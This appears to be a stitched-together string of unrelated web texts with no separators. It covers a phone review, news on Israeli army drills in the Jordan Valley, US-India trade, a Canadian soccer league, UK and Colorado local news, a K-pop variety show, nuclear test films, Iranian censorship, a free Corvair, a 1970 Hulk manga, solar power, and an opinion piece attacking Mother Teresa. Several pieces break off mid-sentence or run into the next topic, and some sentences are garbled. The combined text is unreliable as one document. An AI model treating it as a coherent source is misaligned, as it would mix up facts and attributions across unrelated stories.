I’ve been using the Huawei Mate S 128 GB with Force Touch in rose gold for over two months now. It has many good features, and some of them feel top notch in my limited testing sphere, such as the fingerprint sensor and the ability to knuckle into the camera at any time. But it has too many issues to make me fully content with the device. Most are derived from software, most likely the nature of the latest version of EMUI supported on the Mate S, but things like not being able to read email notifications at a glance or the random nature of how it likes to talk to you in the most random situations mean that I’d probably end up buying something without EMUI or flashing the device (assuming I could get all the feature I like some other way). I feel if that it was running a base version of Android, it might have given a better user experience. All that being said, the one waking day battery life (or under one day of battery on active days) is something not easy to overcome, and means carrying around a battery pack. At least anecdotally it felt like it charged rather quickly.
Along with the Mate S, part of the way through I decided to also try out the Huawei TalkBand B2 smartwatch for some time. The TalkBand B2 was a one of the cheap press event freebies, but it tracks a few smartwatch type features in a non-Android way at a low price and comes with a monochrome display. For someone who has resisted the smartwatch market up until this point, as well as being apprehensive about the utility of such devices, I decided to bite the bullet and at least have a go. I’ll write up my experiences is a separate piece and upload it shortly.Dozens of Palestinian families in the Jordan Valley were displaced last week by huge military drills conducted by the Israeli army. The disruption, and damage left behind, are representative of the wider problems of dispossession and control experienced by Palestinians living in this part of the West Bank.
Hundreds of Palestinians in the Jordan Valley were last week displaced by “unprecedented” training exercises conducted by the Israeli army. The drills, which according to witnesses involved over 100 military vehicles, including helicopters, officially started on May 3; however, communities in the northern Jordan Valley had noticed an increase in the military presence in the area throughout the previous week.
The exercises were conducted by the Artillery Corps Support Unit 282, according to the Jerusalem Post, as part of preparations for a possible war with Hezbollah.
Local groups, such as Jordan Valley Solidarity (JVS), have been actively monitoring and recording the impact of the training exercises. JVS, a grassroots coalition of Palestinian community groups, notes that 47 families from the Hamra area were approached by the Israeli army on April 30 and forced to sign orders compelling them to leave their homes between May 4-7, in order for military drills involving live fire to be conducted.
Military training exercises also began in the Aqraba area of the Jordan Valley on May 3. JVS reported that none of the affected families had received prior warning of the drills, but rather noticed a military camp being set up near their homes.
These drills followed an earlier set of exercises in the same area of the Jordan Valley, carried out on April 28. Those exercises resulted in the destruction of 3,000-4,000 dunams of crops and trees, after ammunition shot by the Israeli army started fires on the land that Palestinian firefighters were prevented from reaching.
The displacement, firing of live ammunition, explosions and road closures that continued throughout last week in the army’s ‘training zone’ have gone largely unreported by the Israeli and international press. A volunteer with JVS, Maisie, confirms that appeals to the EU and the UN that the group launched last week have gone unanswered. While the heaviest part of the drills now seems to have died down, as during previous episodes the Israeli army has left behind scorched ground. Additionally, Maisie explains, their tanks and Jeeps have destroyed many roads leading to Palestinian communities in the area.
The disruption and destruction of last week are representative of the challenges facing the Jordan Valley’s Palestinian residents. The majority of the Jordan Valley (which makes up 30 percent of the occupied territories) is designated Area C, which is under full Israeli military and administrative control and therefore technically off-limits to Palestinians. Ninety-five percent of this area is under the control of Israeli settlements and regional councils, in addition to various areas being either ‘state lands’, closed military zones (including firing areas) or nature reserves.
In addition, villages located within the Area C territory of the Jordan Valley are vulnerable to demolition orders, and several communities undergo repeated demolitions. The matrix of control that illegal Israeli settlements in the Jordan Valley exerts over Palestinian communities extends to water, with the majority of the Valley’s supply routed to these settlements – despite the fact that the natural sources are found under Palestinian land. This has gradually led to the destruction of the traditional agricultural livelihoods of the Jordan Valley’s native Palestinian communities.
Prevention of access to farmlands has also had a significant impact on Palestinian agricultural trade in the Jordan Valley. In particular, an area of around 5,000 dunams – located in the same region where last week’s military exercises took place – has been off-limits to Palestinians since 1969, yet is being farmed by Israeli settlers. The matter is currently in front of the High Court, following a petition by Palestinian families affected by the restriction.
Given the Israeli government’s overarching plans to annex the Jordan Valley, none of these issues are expected to receive any kind of a just resolution in the foreseeable future. The Israeli army’s training exercises, with all their attendant ruin, will also persist, and are likely to intensify. In May 2014, Col. Einav Shalev of the Central Command – the section of the Israeli army responsible for units in the West Bank – confirmed to a Knesset committee that such live fire military drills in Area C are aimed at driving Palestinians out. Between government policy and military activity, the ethnic cleansing of the Jordan Valley is set to continue.Last month, US Ambassador to India Richard R Verma had said India and the US are targeting a four-fold jump in bilateral trade to USD 500 billion in the near future. (Reuters)
Blaming India for not being ambitious enough to conclude Bilateral Investment Treaty (BIT), the US today said it remains open to continuing dialogue as it is important for both the nations.
“To be frank, we are far apart on number of issues with regard to trade and investment with India. We feel our colleagues in India have not been as ambitious (on concluding BIT) as we want them to be but we remain open,” Deputy Assistant to the US President and Deputy National Security Advisor for International Economics Adewale (Wally) Adeyemo said here at a session on India-US Economic Relations.
Adeyemo added that USA know that India is one of the fastest growing economy in G20 and the US wants to be involved with India going forward.
Last month, US Ambassador to India Richard R Verma had said India and the US are targeting a four-fold jump in bilateral trade to USD 500 billion in the near future.
US bilateral investment to India has grown from a mere USD 8.5 billion in 2005 to over USD 35 billion last year, he had added.
In December last year, the Cabinet had approved the revised model text for the Bilateral Investment Treaty (BIT) with a view to enhancing protection of foreign investors in India as well as Indian investments abroad, but taxation matters will remain out of its ambit.
Both India and the US are negotiating BIT since 2008. The deputy National Security Advisor for International Economics said India needs to do more in terms of ease of doing business and it should make sure that investments norms are easier.
Talking about intellectual property rights (IPR) protection, Adeyemo said IPR is the issue where both countries have great deal of contention.
“I do think there are issues where we can find ways to work together. For example digital issues, with regard to IPR this is the place both have interest in trying to find solutions. Finding places to work together will help us in finding solution to more contentious issues like IPR,” he explained.
Referring to cheap exports of steel from China, Adeyemo who is also Deputy Assistant to the US President noted that China is subsidising steel and they are producing too much steel.
“We want to use global forum like WTO to hold China accountable,”he said.
Talking about the Trans-Pacific Partnership (TPP), Adeyemo said economic value of TPP is great and we are re balancing our trade relations towards Asia.League1 Ontario Growing Again In 2016
North Mississauga Panthers the latest team to be approved for play in Ontario’s Pro-Am league
Ontario Soccer Association - Vaughan, Ontario, February 1, 2016:
Late last year, League1 Ontario announced the addition of eight new teams to its Men and Women’s divisions. Today, League1 Ontario is adding one more team to the Men’s division and announcing a new conference structure for that division in 2016.
North Mississauga Panthers becomes the 16th Men’s team to earn membership into League1 Ontario and will play in the Western Conference in 2016. They join the North Mississauga Panthers Women’s team, who won the L1 Cup in 2015.
League1 Ontario commissioner Dino Rossi spoke about what North Mississauga Panthers brings to the league.
“We’re thrilled to be able to add North Mississauga to our league,” Rossi said. “They have a proven track record of developing elite level players in our province, which makes them a natural fit for League1.”
OSA President Ron Smale described how this club is investing in both ends of the Ontario development pyramid.
“It’s great to see clubs like North Mississauga and others in League1 and the Ontario Player Development League now filling the development needs at both ends of our high performance player development system,” Smale said.
“We have clubs that are looking at this as a top-to-bottom investment – from starting them in recreational soccer and developing them on the right path through our OPDL youth structure, to finishing their development in League1.”
North Mississauga President Trevor Bertrand expressed his excitement for their club.
“This is a big year for us at North Mississauga,” Bertrand said. “First we gained entrance into OPDL and now we’ve been accepted into League1 Ontario Men’s division. We’re offering a full spectrum of development opportunities.”
The Men’s division grows to 16 teams and will now be divided into two conferences for 2016.
Eastern Conference Western Conference Woodbridge Strikers Oakville Blue Devils Vaughan Azzurri Sigma FC Durham United FC TFC Academy Kingston Clippers Windsor Stars Master's FA Saints Pro Stars FC North Toronto Nitros (New for 2016) Sanjaxx Lions Toronto Skillz FC (New for 2016) FC London (New for 2016) Aurora United FC (New for 2016) North Mississauga (New for 2016)
Men’s teams will play 14 games, home and away, within their own conference and a further eight games against teams in the other conference. The top team from each conference will play off against one another in the league final. The Women’s division remains as a single table alignment.
Additionally, teams in both the Men’s and Women’s division will compete in a single-elimination cup tournament throughout the year.
As part of the league re-structuring this season, ANB Futbol has not renewed their League1 Ontario license. As well, Pro Stars FC will not return a team to the League1 Ontario women’s division for 2016.
About League1 Ontario:
League1 Ontario is the only pro-am, standards-based, senior league in Ontario. Founded in 2014, the league began with a 10-team Men’s division, which has now grown to 16 teams and includes a separate 10-team Women’s division.
League1 Ontario serves as a stepping stone between the youth, amateur ranks, and the full-on professional sides.
Sanctioned by the Ontario Soccer Association, the league’s focus, first and foremost, is the development of Canada’s future stars.
About the Ontario Soccer Association:
Founded in 1901, The Ontario Soccer Association (OSA) is the largest provincial sports organization in Canada. Its members include more than 650 Clubs servicing over 24,000 teams with 380,000 registered players, 70,000 coaches and managers, and 10,000 match officials. The OSA develops and delivers exceptional and sustainable programs and services throughout Ontario with the mission of providing leadership and support for the advancement of soccer in collaboration and cooperation with our membership, partners and other stakeholders. The OSA also operates League1 Ontario, a provincial pro-am men’s and women’s league, as well as the Ontario Player Development League (OPDL).
Ontario Soccer Association Media Contact:
Cormac Rea | League1 Ontario Communications Coordinator | 613-299-0374 | [email protected] Nile perch (Lates niloticus) is a species of freshwater fish in family Latidae of order Perciformes. It is widespread throughout much of the Afrotropic ecozone, being native to the Congo, Nile, Senegal, Niger and Lake Chad, Volta, Lake Turkana, and other river
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business in Brickfields will be back and operate as usual. So the real people who suffer are the legitimate ones,” he said.
The three-month enforcement crackdown called “Total Enforcement Pilot Project” was launched by the Bukit Aman Crime Prevention and Community Safety Department on Sept 18.
The sweep involves 18 government agencies including DBKL, Immigration, Customs, National Anti Drugs Agency and Land Public Transport Commission (SPAD). – BernamaA handcuffed man escaped from police after he was arrested when he was spotted in the women's toilets at Liverpool Street station.
Officers were called to the station just after 9am on Sunday after a man was spotted in the ladies' loos.
The man was then detained and handcuffed, but still managed to flee from officers at the station.
He is described as white, around 5ft 7ins, of medium build and with short brown hair, wearing blue clothing.
A British Transport Police spokesman said: “Extensive enquiries are taking place to locate the man, including reviewing CCTV and working with other police forces and agencies.
“He is not thought to be a danger to the public, but officers are understandably concerned for the man’s welfare.”
Anyone with information should call British Transport Police on 0800 40 50 40 quoting 146 of 27/02.We need to talk about something. It’s quite serious. It affects a lot of people. And I genuinely believe it costs the book industry millions of dollarpounds every year, in addition to incalculable personal misery. We need to talk about book guilt.
When I created bkkeepr, it had (still does) three commands: start, finish and bookmark. I assumed a happy, linear model of reading. You start a book; you finish a book. Simple, right?
But almost immediately I started getting feature requests: with one, overwhelmingly popular one: abandon.
The problem was that when you started a book, and until you officially finished it, that book stayed on your “unfinished books” list. And some of these books were not unfinished but abandoned, and people were unhappy with marking their books “finished” just to get them off the list…
This is one kind of book guilt. Book guilt seems to affect a huge number of people, presenting in a number of different ways. The most common form, and perhaps the most damaging, is the unfinished book.
When someone with a bad case fails to finish a book, they don’t start a new one; they go into a holding pattern, crippled by guilt over their failure and unable to let go and start over. All reading stops. People have confessed to me that it’s been months since they last picked up a book, because they still haven’t finished the last one.
Attitudes to the unfinished book take many forms. Multiple book readers—those comfortable having more than one book on the stack at the same time—are less susceptible; the single book reader tends to fall into one of three categories: those who happily chuck and move on, those who grind joylessly through to the bitter end, and those who agonise and go nowhere. All three tend towards the absolutist in their behaviour, unless something happens to break the cycle; the latter two are undoubtedly damaging.
I frequently have several books on the go at the same time, and until recently I’ve suffered pretty heavy pangs of book guilt. The practice, no doubt common, of stacking the un- and partly-read next to the bed doesn’t help. It’s taken a long hard look at myself to be able to say: “you’re not enjoying this book. Move on. Read something else. It’s OK. You’re allowed. You don’t have to finish it.”
I don’t think the publishing industry realises how much money it’s losing to book guilt. Guilty readers don’t buy new books. This is a serious issue. It requires evangelism. Customers need to be unstuck.
The stack, the physical object, plays a big part in this paralysis. I don’t think we’ll ever entirely lose our propensity for book guilt, this Protestant reading ethic. But perhaps the ebook may change its effects slightly.
It’s easy to forget you’re supposed to be reading something when it’s buried in a device. This can be bad, but it might also help. I want help assuaging my guilt. Most ereaders allow you to “archive” a book at the touch of a button. Perhaps they should just fade away the longer they remain unopened. I want other, quick options to move on when this one isn’t working. I want helpful pokes to get on with my life, and ebook readers that allow me to forget as well as to remember.
I want to read more books that I actually enjoy. I want everyone to. Let’s start by saying it all together: “I don’t have to finish this book.“What is otherwise an encouraging phrase for climbers and cyclists peeved a hiker of Boulder's popular Bear Peak on Thursday morning.
The two words "Send it" signed by "McSweeney" were scrawled in what appeared to be black permanent marker on a rock near the summit of the 8-mile loop on Boulder's Open Space and Mountain Parks.
"It's very unfortunate to see this level of stupidity," Kevin Meyer said.
Meyer said he hikes the mountain several times a week and came across the first defaced rock he'd ever seen on the mountain at 10:30 a.m. Thursday on his 52nd ascent this year.
The terms "send it" or "sending" are often used by climbers to mean successfully climbing a route or problem without falling or resting on gear. The terms are also used by cyclists. The slang is derived from the word "ascent."
It is unknown who McSweeney might be.
Philip Yates, spokesman for Boulder's Open Space and Mountain Parks department, said he wasn't aware of the vandalism until Thursday and that after further research, the marking is the first of its kind that has been reported.
Yates said out of 45,000 acres of land and 151 miles of trails, the department receives about five reports of defaced rocks or trees or other natural formations every month. He said they depend on the public to help protect open space.
"Unfortunately graffiti is a problem on our system," he said. "It's a real shame to see. We have a long history of conserving and enjoying open space and whenever we see graffiti it can certainly diminish visitors experiences on open space."
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Yates said it takes time to coordinate logistics to reach tagged areas, especially because some are in remote places. He said they use environmentally-safe methods with minimal environmental impact to remove everything from spray paint to magic marker.
Over the weekend, Yates said, the climbing community reported graffiti on the First and Second Flatirons, which was removed by early this week.
Boulder hikers in February happened upon the phrase "Explore your mind like U do this forrest" sprayed in white paint across a large rock in clear view along Saddle Rock Trail.
To report in-progress graffiti on Boulder's open spaces, call 303-441-3333. To report vandalism after the fact, call 303-441-3440. The public also can report through the Inquire Boulder system online at user.govoutreach.com/boulder.
Amelia Arvesen: 303-684-5212, [email protected] or twitter.com/ameliaarvesenThe entire cast of the popular South Korean variety show "Running Man" will meet with their fans in China this fall, the program's broadcaster said Tuesday.
SBS will organize the fan meetings in five or six cities across China between September and November, the first time the broadcaster has done so since the program launched in the country.
"We organized this fan meeting tour because 'Running Man' has been steadily popular in China," an SBS official said. "We're currently in the process of choosing the cities."
(SBS)
The show features popular celebrities, including actor Lee Kwang-soo, comedian Yoo Jae-seok, singer Kim Jong-kook and actress Song Ji-hyo. Divided into teams, they compete to tackle various missions that have been assigned to them.Since 2014, a Chinese version of the show called "Hurry Up Brothers" has been broadcast on local TV, adding to the popularity of its original version."We expect about 10,000 fans to attend each of the meetings," the official said. "The 'Running Man' crew has been working on creating the best content to show their appreciation to their fans."Co-produced by China's Zhejiang TV and SBS, "Hurry Up Brothers" first aired in October 2014. In a country with more than 2,000 TV channels, a 1 percent viewership is considered a barometer of popularity, a rating the show easily surpassed in its first season.During its second season, viewership rose to 5 percent, while in the second quarter of this year, Season 4 averaged a 3 percent viewership. During the latter period, "Hurry Up Brothers" was the most viewed entertainment program in all of China.The program's popularity is thought to have contributed to Zhejiang's rating as the channel beat its rival Hunan TV in the second quarter of the year to rank No. 1 among Chinese channels for entertainment programs.The top ad spot for Season 4 of "Hurry Up Brothers" came with a price tag of nearly 150 billion won (US$131 million). (Yonhap)These videos are sure toall over the Internet; they are just the. In all seriousness, Lawrence Livermore National Laboratory (LLNL) weapons physicist Greg Spriggs went through the lengthy process to have United States nuclear test footage declassified for public viewing.The United States conducted 210 atmospheric nuclear tests between 1945 and 1962. The tests were usually conducted with multiple cameras at 2,400 frames per second. Roughly 10,000 of these videos have been hidden away in high-security vaults for the last few decades.The team hunted down and preserved these decomposing films. Their ultimate goal is to help scientists who rely on computer codes to determine whether the United States nuclear deterrent remains safe and effective. The team has so far uncovered 6,500 of the estimated 10,000 films. 4,200 films have been digitally scanned, over 400 have been reanalyzed, and roughly 750 of these films have been declassified. The team estimates that it will take another two years to scan all of the films and even more time to analyze them.Spriggs remarked, “You can smell vinegar when you open the cans, which is one of the byproducts of the decomposition process of these films. We know that these films are on the brink of decomposing to the point where they'll become useless. The data that we're collecting now must be preserved in a digital form because no matter how well you treat the films, no matter how well you preserve or store them, they will decompose.”Spriggs started this project alone by finding the films, acquiring their data sheets, and attempting to scan the film with a jury-rigged scanner. He soon discovered that his scans were largely inaccurate and that the project was simply too large to do on his own. Spriggs eventually found a pair of film experts and also started working with software developers at the Los Alamos National Laboratory. The team now has an automated process to scan and analyze the films.Spriggs added, “We hope that we would never have to use a nuclear weapon ever again. I think that if we capture the history of this and show what the force of these weapons are and how much devastation they can wreak, then maybe people will be reluctant to use them."You can check out the whole playlist hereThe elite military force issued a statement alleging it had identifed websites run by companies it charged were backed by the US and British secret services.
It warned that it would take action against people stoking "tensions" using new media, such as the micro-blogging website Twitter, which has been a key tool in the dissemination of news at a time of upheaval and censorship.
The Revolutionary Guard, set up in the wake of the 1979 revolution to defend the Islamic Republic from "internal and external" threats has struggled to contain an explosion of news and comment published on websites.
"We warn those who propagate riots and spread rumours that our legal action against them will cost them dearly, especially since some of the youth of this land were killed by the thugs' action, so we urge them to delete such material from their sites," its statement said.
"It shows the animosity of the Western media towards the Iranian people."
The US State Department revealed on Tuesday that it had asked the Twitter social networking platform to postpone a scheduled shutdown for maintainence after the presidential election result was contested.
But Twitter users yesterday continued to circulate information from within the protest movement that sprang up to press the claims of the presidential candidate Mir-hossein Mousavi, who is contesting President Mahmoud Ahmadinejad's claim he has been re-elected. Although the volume of posts had fallen there also appeared to be attempts by official organisations to spread disinformation in the guise of opposition supporters.
Some sites asked for names and other personal information in what appeared to be an attempt to track down those spreading information.
One theme of the coverage has been a constant focus on a brutal attack by government-linked militias on a dormitory at Tehran University on Monday night. With foreign journalists either forced to leave the country or confined to hotels, the events at the university have not received the exposure that the attack would have normally attracted.
"150 proferssors [sic] of Tehran university have resigned and are trying to do the funeral ceremony for 5 students killed," said a site called Tehran Bureau.
Word of rallies and future events was also disseminated widely. "Mousavi asking for Gathering at Mosques on Thursday to pay sympathies for victims during the past few days!" said AnonymousInIran.
But the most debated event of the day was the appearance of three Iranian footballers wearing a green - opposition - wristband in a matchr against South Korea. "Confirmed - Iranian National Football Team show support for Mousavi - sea of green," declared Persiankiwi.Long time reader Chris B, AKA Chebby, is in a bind and needs our help! He’s about to lose his storage space and doesn’t have anywhere to park his Corvair. Rather than leaving it outside or listing it for sale, he’s decided he’d rather offer it to the Barn Finds community for free! That’s right, there is such a thing as a free lunch, well in this case a free car. It needs work but you can’t beat free! There are a few requirements you need to meet before you can pick it up though. More info about Chebby’s Corvair below.
So what are said requirements? Well they are pretty simple. First, you need to have a plan for what your going to do with it. In 2 or 3 sentences, tell us what you are planning to do with it and post your response in the comments below. It doesn’t matter if you are going to restore it, customize it or rat rod it, we just want to make sure you are going to do something with it. Chebby will look over everyone’s plans, ask questions and pick out who he feels will give his Corvair the best home. The second requirement is a willingness to keep both Chebby and us updated with your progress. We want to see his Corvair back on the road and the process of getting it there! And the last requirement is the ability to come get it sooner, rather than later. I think those are pretty reasonable terms for a free car. Now let’ get to the car and it’s condition!
From Chebby – Car is a 1965 with a ’66 engine and trans. It’s a mutt. It has been amateur-restored at least once before. Odometer works, and says ~45K but could be anything. Have all the removed parts for the car—bumpers, lights, glass, trim—except exterior “Corvair” “Monza” and “110” emblems, they were shaved at last paint job. I drove it as you see it in the Bernal GT road rally two years ago, and the ‘extreme patina’ was very popular.
Mechanical: It’s equipped with a 110 two-carb engine. You can hear it run in the video but it sat for another year and will not start now. Has a brand new battery and cranks, could be a fuel clog or spark issue, I don’t know and no time to mess with it anymore.
I think there is a manifold leak from when I went over a parking lot speed bump with a ‘plus-sized’ friend aboard and scraped the headers. It’s hard to tell because the Stinger-style mufflers are loud. Idle sounds a bit like a big block Chevy, full throttle sounds like a biplane. I’m told the headers are rare items. Also headers on a Corvair mean no heater….
4-speed shifts nice. Pinhole leak in the differential seal weeps onto the clutch face and makes it slip a teeny bit. Been like that for years, it’s only intrusive on a steep hill. I added a little 90 weight every now & then. Brakes were upgraded to dual master cylinder.
INTERIOR: 70’s Camaro/Vega seats in front, driver side is ripped. Back seat is there but cooked. Carpet ok, could use a re-dye. Door panels are crappy. Headliner old but good. Needs all new weatherstripping.
Dash is perfect and gauges work. Radio missing but I have a non-working one to fill the hole. Lights, wipers, washer all work. Windows all roll up and down smoothly.
BODY: Needs the most work, but not bad for someone who can do body stuff. Panels were all perfectly straight but street parking took care of that: my neighbor backed into the driver’s door, and all four corners have swipe dents from tall SUVs parallel parking by ‘braille’.
Driver’s door dent has been partially pulled out, you get a spare door as well. There is rot behind the front fenders, and in the c-pillars—right pillar is pretty bad, but I have a replacement you can weld in.
Floors and trunk are solid as as far as I can tell.
Tires are unsafe at any speed, one doesn’t match and is plugged. Rollers or around town only. Rear glass is out and resting on the window frame. Rear shocks are Gabriel Hi-jackers, they give a good stance but ride harsh. The CA reg is 2015, one year delinquent. A spare LH door and engine lid come with it. 10 pack of Vanilla tree air fresheners in the glove box, the best kind! Car is garaged in the Hayes Valley neighborhood in San Francisco.
I just want to thank Chebby for giving us the chance to help him find a good home for his Corvair. I know how hard it can be to lose your storage space and have to get rid of your car, but giving it away shows how much he actually cares about this car. He’d rather let it go for free, just to make sure it ends up in a good home and doesn’t get left outside to rust away! This seems like the perfect car for someone on a budget that is looking to get into the hobby, so if you’d love to have this Corvair and can pick it up quickly, be sure to leave a message in the comments section!I hadn’t intended to write about Kazuo Koike and Yoshihiro Morifuji’s Hulk this early, but fortune favors the bold, I suppose. A few minutes after my second Lone Wolf and Cub post went live, I noticed a comment caught in my spam trap. I’m glad I stopped to read it, because it’s a gem. It originally ran in Weekly Bokura Magazine beginning in 1970, and I’m reasonably sure that this is the first time Americans have really gotten a chance to see it.
Garret sent over the link to a full scan of Hulk and thanked me for visiting his site. And, wow! It’s really interesting to see. I bothered a few Japanese-speaking friends until they agreed to help me figure out a few of details. The katakana for the title reads “Haruku.” Later in the volume, the logo treatment changes so that it reads “Haruku: Monsutaa Komiku.” “Hulk: Monster Comic.”
From what I and my lovely assistants managed to figure out of the story, it stars Dr. Araki, survivor of Hiroshima. Both of his parents died in the blast, and he’s come to Nevada to work on the gamma bomb. General Ross, Major Talbot, and Igor retain their names, but Rick Jones has been turned into Ricky Tenda. He’s got a Japanese mom and an American dad. Betty Ross is now Mitsuko, though Dr. Araki calls her Mitchan.
The story seems to be the usual. An honorable and kind scientist helps create something terrible, and that terrible thing blows up in his face when he rescues a young ne’er do well. A Russian spy refuses to halt the explosion, and the scientist turns into the Hulk, a beast who knows only pain and anger.Actually, that last bit may not be true. I’m not exactly sure what makes Dr. Araki turn into the Hulk. There’s a bit where Ricky beats the daylights out of him with a broom to keep him from turning, and it works. If it was anger that makes him transform, I’d think that that would just make the whole situation worse, but who knows!The art’s really neat. There’s a solid Tezuka influence in the work, particularly noticeable women, children, and mouths. There are a few chapter breaks which make me think that Morifuji just got a chance to go wild with a paintbrush. The shading seems very ink-washy at times, too, though there is also a lot of traditional crosshatching and inking to show blacks.The fight scenes are all speed lines and movement. They’re very easy to follow, and the big panels give Morifuji plenty of room to do some interesting things. Hulk’s transformations are great, too, as we get to see each in-between stage. One of my favorite sequences is when Mitsuko realizes that Araki is Hulk, thanks to a spectacularly ill-timed bout of sleep-talking by Ricky. The scream (?) behind Betty, her facial expression, and the fact that she is almost definitely explaining what she just realized in her word balloons totally works. All it’s missing is a Hitchcock Zoom.The English sound effects are also fascinating. I don’t know if I’ve ever read an untranslated manga that used them before, so it was quite a surprise to see a “BOOOM!” or “THWOOMF!” on the page. The plethora of two page spreads are also surprising. While they aren’t full page spreads, telling a story using both facing pages, rather than just one, is something else that struck me as interesting.The fashion in the book is pretty neat. There are a metric ton of overcoats, blazers, and trenchcoats. The non-coat-based fashion is a little old fashioned, but wouldn’t be too out of place today. Ricky is pretty modern looking, and Mitsuko, barring a sweatervest over a dress with long sleeves about halfway through the book, does pretty well, too.
I think I’d enjoy reading this in English. Dr. Araki being a child of Hiroshima must lead to an interesting conflict, since he’s in the business of making bombs now. There’s a pretty amazing marriage sequence, too. As is, I think we’re going to have to settle for these rips. Judging by the page numbers, it was never collected, which may make hard copies extremely hard to come by. It’s almost 40 years old at this point, and the magazine which published it has been out of business since 1971.
I’ve taken the liberty of downloading the images that Garret so helpfully linked me to, adding a couple of pages for context, and uploading it again. You can get it from sharebee (popups), megaupload, badongo, and a fistful of other places if you click that sharebee link. If you dig it, sling the link around. I thought about doing some color-correcting, but I’d rather let it stand as-is rather than muck it up somehow. A few of the pages are overly blue, but the quality stays up throughout. Even just as a historical piece, it’s pretty fascinating.
4thletter! is clearly your #1 source for Hulk-related manga, be it Incredible or Hogan. Next week, I’ll review the 2nd volume of Lone Wolf & Cub.
Update! It appears that the English sound effects are in because some of the panels are swipes from Herb Trimpe, according to this post on ComicBoards.com! How crazy is that?
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Posted in Lone Wolf & Cub, manga by david brothers |A relatively new type of solar power called concentrated photovoltaic (CPV) technology is getting a $90.6 million boost in the form of a conditional loan guarantee from the U.S. Department of Energy. The government backing will help with financing for a 30-megawatt facility near Alamosa, Colorado, which will be one of the largest concentrated-photovoltaics plants ever built.
Big solar: Massive solar panels like the 24-meter-wide ones shown here will be installed at a 30-megawatt solar farm being supported by the U.S. Department of Energy.
The project is part of a surge in photovoltaic projects in the United States over the last few years. A total of 878 megawatts’ worth of solar panels were installed last year, up from just 79 megawatts in 2005. This year total installation is expected to double 2010 levels, according to the Solar Energy Industries Association. The industry is starting to approach the scale of the wind industry, which saw over 5,000 megawatts of capacity installed last year (down from over 10,000 the year before).
Concentrated photovoltaics is different from concentrated solar power, which is also known as solar thermal. In solar thermal plants, mirrors and lenses concentrate sunlight to generate the temperatures needed to produce steam that drives a turbine and generator.
In CPV, arrays of lenses are used to focus sunlight onto small solar cells. The concentrated light improves the efficiency of the cells and reduces the amount of expensive solar cell material needed to produce a given amount of electricity. Amonix, the company that will be supplying the concentrated photovoltaic systems for the project, says its system can generate twice as much power per acre as conventional solar panel technology. It uses 23.5-meter-wide panels with more than 1,000 pairs of lenses and solar cells on each. The panels are mounted on tracking systems that keep the lenses pointed within 0.8 degrees of the angle of the sun throughout the day, to ensure that light falls on the system’s 0.7-square-centimeter solar cells.
CPV accounts for a small part of the solar market now—just 0.1 percent. That’s largely because it’s newer than ordinary photovoltaic technology and has been more expensive; it’s more complex, since the lenses have to precisely track the sun. Lowering the cost of CPV will require scaling up. The biggest CPV plants built so far have been in the range of one or two megawatts, while the largest flat-panel plants are 85 and 92 megawatts.
Some analysts expect the CPV market to more than double every year through 2015 as more companies scale up production. At least one other company, Soitec, is planning a 200-megawatt CPV plant in the next few years.I’m sure by now, you’ve all seen the piece written by Sister Theresa Aletheia Noble in defense of Mother Teresa. It’s a piece written from behind rose-tinted glasses, dripping with unreasonably defensive rhetoric. Why is it always such a thing for the Catholics to admit a fellow Catholic’s wrongdoing? Why is the church so unwilling to criticize itself? Is it an attempt to paint a twinkling image of holy perfection? Is it because they are afraid visible flaws will turn more members away, into the light of reason? I would argue it does the opposite. There are few adult humans who cannot admit their own flaws, but here is a global church full who seem to think anything slapped with the label, “Catholic” must be holy and perfect and good.
You and I know there’s nothing perfect about the Catholic Church, and certainly Christopher Hitchens knew it. He was the most outspoken critic of Mother Teresa, opening the eyes of many, myself included, who had incorrectly believed she was a force for good. As with any criticism of the Catholic church or members of, Hitchens’ accusations of Teresa’s greed, sadism and fraud, were met with Catholics the world over hissing that he was just a hateful atheist and that’s the only reason he had any criticism of such a perfect soon-to-be-saint. It couldn’t have possibly had anything to do with the fact that when normal human beings see someone misusing power to ensure the suffering of those less fortunate, we tend to feel compelled to say something; do something; prove that the abuse is happening.
It couldn’t possibly be that Hitch had a conscience.
Of course, any system of belief that sells you total forgiveness on your deathbed in exchange for your mere repentance, is not an organization that teaches personal or organizational responsibility. You could have a genocide or two notched on your belt, so long as you say a few Hail Marys, you’re guaranteed admittance through the pearly gates. In desperate need of positive role models, the Catholic church refuses to see the evil Teresa committed in her life, and, like clockwork, Sister Theresa falls in line with her defense of Mother’s wicked ways.
Unfortunately, the good sister is wrong.
She divides her post up into five criticisms of Mother Teresa, and attempts to rebut them. The first of which, is
1. Mother Teresa’s Canonization Is a “Fraud”
Sister Theresa says,
Christopher Hitchens criticized Mother Teresa’s recognition by the Church because the Church sped up her beatification process. He also mocked the idea that a miracle could have come about through Mother Teresa’s intercession. So? Hitchens was an atheist; would he be satisfied with any process that canonized Mother Teresa or any other saint?
It takes little to no time at all, to search Google for Monica Besra’s name. She was the recipient of the first miracle which, combined with a second, makes Mother Teresa’s canonization possible. The Vatican requires two verified miracles in order to recommend anyone for sainthood. Unfortunately for the good Mother, this miracle was anything but.
Monica Besra supposedly held a photo of Mother Teresa, long after Teresa had died, to her afflicted stomach and claimed that action is what caused her tumor to disappear. The problem, is that Monica’s doctors disagree. From the Telegraph:
“This miracle claim is absolute nonsense and should be condemned by everyone,” Dr Ranjan Kumar Mustafi, of Balurghat Hospital in West Bengal, said. “She had a medium-sized tumour in her lower abdomen caused by tuberculosis. The drugs she was given eventually reduced the cystic mass and it disappeared after a year’s treatment.”
So, I pose the question to Sister Theresa, do you not want there to be truth behind Mother Teresa’s sainthood?
So why would it matter to Hitchens (or any other atheist) how quickly Mother Teresa was canonized?
Well, Sister, some of us actually concern ourselves with what is true. Regardless of who points it out: atheist, Catholic or a moonie, a fraud is a fraud.
The second point Sister Theresa addresses is:
2. Mother Teresa “Mismanaged Money”
Mother Teresa’s critics accuse her of mismanaging donations, and as evidence they point to the humble state of the congregation’s homes versus the large donations that are assumed to have been poured into their coffers. Yet no theory is advanced as to exactly how the foundress spent the organization’s money in an unethical way. She certainly did not spend it on herself. Vatican officials confirm that Mother Teresa donated her congregation’s surplus money to be dispersed through the many avenues through which the Church helps the poor.
I’m curious, though, Sister, why she wouldn’t better the lives of those she worked with using the money she raked in at an obscene rate? Why would she send all of it off to the Vatican when people were suffering all around her? From Stern Magazine:
